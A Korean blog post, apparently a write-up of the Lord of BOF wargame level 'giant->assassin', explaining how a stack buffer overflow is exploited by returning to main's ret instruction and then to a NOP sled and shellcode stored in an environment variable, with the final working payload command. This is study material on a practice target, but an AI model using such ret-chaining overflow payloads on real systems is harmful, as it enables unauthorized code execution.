LOB_15.giant->assassin

해킹/LOB 2016. 1. 31. 18:19


이제는 라이브러리로의 점프까지 막아놨다.

여러가지로 헤메다 결국 답을 봤는데 조금 충격이었다.

여태까지 RTL이나 execve등 뒷쪽 버퍼를 막지 않는 문제는 전부다 이방법으로 풀 수 있었을듯.


찾아낸 답은 ret이 있는 main의 주소로 다시 점프하는 것이다

ret은 pop eip, jmp eip 의 역할을 하므로 리턴까지 읽은 esp가 그 다음 4바이트로 다시 점프할 것이다.

결국 페이로드는 매우 간단하게 (a*44 ||  ret의 주소 || 리턴할 주소)

이렇게 된다.



gdb를 이용해 ret의 주소가 0x0804851e인것을 확인하고..




환경변수에 놉과 쉘코드를 넣고 주소를 구해준다. 0xbfffd83a에서 시작하는데 5000정도 더해서 0xbfffea15정도로 점프해주자.

완성된 페이로드는


./assassin `python -c 'print "a"*44+"\x1e\x85\x04\x08"+"\x15\xea\xff\xbf"'`




성공!




'해킹 > LOB' 카테고리의 다른 글

LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_14.bugbear->giant  (0) 2016.01.31
LOB_번외.bash2의 함정.  (0) 2016.01.29
LOB_13.darkknight->bugbear  (0) 2016.01.29
Tags
Social